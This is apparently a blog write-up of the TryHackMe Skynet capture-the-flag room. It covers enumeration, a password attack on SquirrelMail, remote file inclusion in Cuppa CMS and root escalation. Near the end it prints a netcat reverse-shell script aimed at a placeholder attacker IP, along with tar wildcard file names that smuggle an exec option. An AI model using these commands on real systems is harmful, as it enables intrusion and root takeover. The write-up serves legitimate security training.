            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*UR4l1XcCI3KHA_-Z" /><figcaption>Photo by <a href="https://unsplash.com/@markusspiske?utm_source=medium&amp;utm_medium=referral">Markus Spiske</a> on <a href="https://unsplash.com/?utm_source=medium&amp;utm_medium=referral">Unsplash</a></figcaption></figure><p>Hi everyone! In this article, I will describe the steps I took to hack the Linux machine in the Skynet room in Tryhackme.</p><p>Initially, we know there is some Linux machine under a specific IP address that we should compromise. Let’s get to the first phase of penetration testing: reconnaissance.</p><h3>Reconnaissance</h3><p>I started with nmap scan with an extra flag to detect services running on different ports. nmap -sV [IP_ADDRESS] .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aYtz2qQmzOYkgPpQwaUcOA.png" /><figcaption>nmap -sV results</figcaption></figure><p>We can deduce from here that some web app is running on port 80. The server has SMB shares, and there are some mail services.</p><p>After a short investigation, I haven’t found anything in the web app. It’s just a pure website with some kind of browser. Take a look.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4plXdPxxE1NjRwg57b2VeQ.png" /></figure><p>The source code doesn’t reveal anything in particular. Let’s try to scan for some directories of this web app. To do that, I’m going to use a gobustrer tool.</p><p>gobuster dir -u <a href="http://[IP_ADDRESS]:[PORT]">http://[IP_ADDRESS]:[PORT]</a> -w [WORDLIST_FILE]</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7_jRBYs27XZ_lTqXaa_1Vw.png" /><figcaption>Results of directories enumeration</figcaption></figure><p>We found some directories, and the most interesting one is SquirrelMail due to the fact that it contains a login page to the email app. It looks like this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kYnuWVbx5-topFOK_ZMEsQ.png" /><figcaption>SquirrelMail login page</figcaption></figure><p>We still don’t know any usernames or passwords to try. Trying the default ones doesn’t work. Let’s try to carry on with the reconnaissance.</p><p>I spotted a potential SMB share during the nmap scan. Let’s try to use nmap script enumerate the shares and potential users.</p><p>nmap -p 445 --script=smb-enum-shares.nse,smb-enum-users.nse [IP_ADDRESS]</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*euJM0MMcI59m4gD0T1yrnw.png" /><figcaption>Results of nmap scan with smb shares enumeration</figcaption></figure><p>So there is a user milesdyson and there is one anonymous share. Let’s see what’s inside.</p><p>There is no password so I can easily enter and download the content of this share. I use smbget tool to do that: smb -R smb://[TARGET_IP]/anonymous .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*h0C8TLLlr9I-jmqXYeBRsQ.png" /><figcaption>Downloading content of SMB share</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/942/1*vg5ElJ1qBFteqgD2SBNFhA.png" /><figcaption>log1.txt content</figcaption></figure><p>log1.txt file contains a list of words that look quite a lot like passwords. Seems like we got some password list in here. nmap scan showed us that there’s a port 22 open and scripts enumerating smb shares showed that there’s one user called milesdyson . That idea got me lost as none of those passwords match with milesdyson username to log in via SSH.</p><p>In the beginning, we discovered the SquirrelMail app. We should definitely try those passwords there. I’m going to use BurpSuite and a Sniper attack to see if any password will give us access.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IMh7mZjItqO3-M46SgjBsQ.png" /><figcaption>BurSuite Sniper attack</figcaption></figure><p>After a couple of iterations, we can notice that the server response is slightly different for the <strong>cyborg007haloterminator</strong> password so that would be our match. Let’s try it on the SquirrelMail website.</p><p>It worked and we can see a list of emails. Inside one of them, there is an smb password for the user milesdyson.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*a_RCcwtFBJ99XLpMVAAg7g.png" /><figcaption>Email containing smb password for milesdyson</figcaption></figure><p>That did let me access Miles’ SMB share. To get there I had to specify that I’m logging in as milesdyson: smbclient //[IP_ADDRESS]/milesdyson -U=milesdyson .</p><p>There is a bunch of PDF files related to Machine Learning and Neural Networks. After a quick research, I found a file called “important.txt” with 3 points. One of them was Add features to beta CMS /45kra24zxs28v3yd . That is the hidden directory name that we had to find.</p><p>Tryhackme gives a hint question, asking “<strong>What is the vulnerability called when you can include a remote file for malicious purposes?</strong>”.</p><p>The answer is: Remote File Inclusion</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nGRiZrNplIboX7v8AyifMQ.png" /><figcaption>Miles’ website stored under the hidden directory</figcaption></figure><p>As that is a newly discovered directory let’s enumerate if there are any interesting subdirectories that we might explore.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KVH9JMqxPeGiXufk4Vlf_Q.png" /><figcaption>Gobuster found an /administrator subfolder</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qIqs5XyViqBYXGN9dyO6lA.png" /><figcaption>/administrator subfolder contains cuppa CMS</figcaption></figure><p>This is some Cuppa CMS that Miles uses. I wonder if there is any vulnerability in this app. Let’s use <strong>searchsploit</strong> and check it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CK18jlRrCCDx5MiTyDl7Zg.png" /></figure><p>There is exactly one and it says Local/Remote File Inclusion so exactly what Tryhackme question was guiding us to. I copied the file to my current directory using the commandsearchsploit -m php/webapps/25971.txt . When reading that file we can see that the vulnerability is related to the query parameter in the PHP application. We should be able to include an external PHP file that would be executed in the browser. That might be a critical vulnerability, let’s try it out. (The link to the exploit description: <a href="https://www.exploit-db.com/exploits/25971">https://www.exploit-db.com/exploits/25971</a>)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*72Vd6F7qqgyuyI9Fi9kS2g.png" /><figcaption>alertConfigField.php file</figcaption></figure><p>Yes, there is the file that is responsible for the vulnerability. Now I’m going to try to pass to it urlConfig argument with PHP file served by my attacking machine and display some echo message.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ovHXLSLXrNcoARYU1gggfw.png" /></figure><p>I created a simple PHP file and run the python HTTP server on my machine. I passed the link to my server as a urlConfig argument in the target server.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XNbBXY4uBFiFe9QbprdQPQ.png" /><figcaption>PHP file from my server was executed on the target machine</figcaption></figure><p>We just found a vulnerability! To get the initial access we should try to generate a PHP reverse shell file and execute it in the browser. I used revshells.com and the PHP PentestMonkey template. Then I ran netcat on my machine on port 8888 and waited for the incoming request from the target machine.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3FII0P679OnTlflQb59c2Q.png" /><figcaption>Reverse shell to the target machine</figcaption></figure><p>I can access the user.txt flag under /home/milesdyson .</p><p>Time to capture the flag from /root directory. We will need to escalate our privileges to get there.</p><p>So I checked a couple of potential vectors for the privilege escalation and one thing that caught my eye was checking /etc/crontab content.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4iW11AuRjkjgyBCZYC0lAg.png" /><figcaption>/etc/crontab content and backup.sh content</figcaption></figure><p>My first thought was that it was going to be easy. I noticed that tar is being used without the full path so I can create a tar script with reverse shell code. I will put this file in /var/www/html and at some point cron job will run it as a root so I will get a root shell.</p><p>The thing is I should be able to change the PATH variable so that /var/www/html directory would be in it. Unfortunately, I am not able to modify the .bashrc file.</p><p>I admit, I needed some support here so after a long struggle, this is what needs to be done. Notice that in the command tar cf /home/milesdyson/backups/backup.tgz * a wildcard is used. There is a specific vulnerability described <a href="https://www.helpnetsecurity.com/2014/06/27/exploiting-wildcards-on-linux/">HERE</a> related to tar command and wildcard arguments.</p><p>Here is how I got my reverse shell:</p><pre># Step 1: Create a script to be executed by cron jobs. A reverse shell.<br># shell.sh<br>mkfifo /tmp/f<br>cat /tmp/f|/bin/sh -i 2&gt;&amp;1|nc [ATTACKER_IP_ADDRESS] [PORT]&gt;/tmp/f<br><br># Step 2: Run those commands to create files triggering actions when <br># tar is being called with wildcard argument<br>$ touch &quot;/var/www/html/--checkpoint-action=exec=sh shell.sh&quot; <br>$ touch &quot;/var/www/html/--checkpoint=1&quot;<br></pre><p>— checkpoint-action=exec=sh shell.sh will trigger executing shell.sh which will establish a reverse shell with our attacking machine. As the script is going to be run as root, we should get a root shell. Remember that you need to have some listener on your attacking machine. I used netcat command: nc -lvnp 8123. Let’s check it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Xu0VMA8FsKXcyetSGx-vOg.png" /><figcaption>root shell</figcaption></figure><p>This is it. The root shell was established and we are able to access /root directory.</p><h3>Summary</h3><p>This writeup showed how to hack Tryhackme machine in the Skynet room. We covered nmap port scanning, smb shares enumeration, remote file inclusion, PHP reverse shells and privilege escalation with tar wildcards.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=98f3fec38578" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>